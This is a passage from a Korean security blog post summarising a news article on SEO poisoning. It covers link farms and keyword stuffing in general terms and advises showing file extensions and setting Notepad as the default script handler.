> 검색엔진의 알고리즘 중 ‘방문자의 수’에 따라 중요도나 관련성을 결정하는 특징을 악용하는 수법
> 웹사이트에 링크가 많으면 많을수록 그 사이트는 검색 결과에서 높은 순위를 얻음
> 링크팜은 사이트 방문자 수를 늘린다는 목적으로만 존재하는 웹사이트 네트워크

② 키워드 채워넣기(keyword stuffing)
> 검색엔진들이 콘텐츠 내 키워드와 사용자가 검색할 때 입력하는 키워드를 매칭시키는 알고리즘을 농락하기 위한 기법
> 온갖 키워드를 잔뜩 포함한 웹사이트를 만들어 검색 순위를 높임

- 대응을 위해 크게 두 가지 권고사항이 있음
① 파일 확장자 표시 활성화
> 기본적으로 Windows OS는 파일 확장자를 숨김
> 파일을 다운로드한 경우 확장자 확인을 위해 확장자를 표시하도록 옵션 변경

② 기본 스크립트 실행 프로그램을 메모장으로 변경
> 스크립트 파일을 더블클릭 했을 때 이를 실행시키는 디폴트 프로그램으로 메모장이 되도록 변경
> 스크립트가 실행되면서 악성 요소들이 실행되는 것을 방지할 수 있음
기타 - 검색 조작 수법은 그 자체로 정상적이며 합법적이나, 악용될 소지가 높은 "회색 기술"
> 정상과 비정상을 구분하기 매우 어려워 공격자들에게 인기
> 기술적 대비 외에도 사용자 개개인의 기본 보안 사항 준수 등의 노력 필요

 

보안뉴스

 

사이버 공격자들 사이에서 점점 더 유행하는 ‘검색 최적화 조작’ 톺아보기

사이버 공격자들이 피해자들을 어디론가 유도하기 위해 사용하는 여러 가지 기법 중 ‘검색 최적화 조작(SEO poisoning)’이 있다. 뭔가를 검색하는 사람들이 검색엔진들에 키워드를 입력했을 때

www.boannews.com

+ Recent posts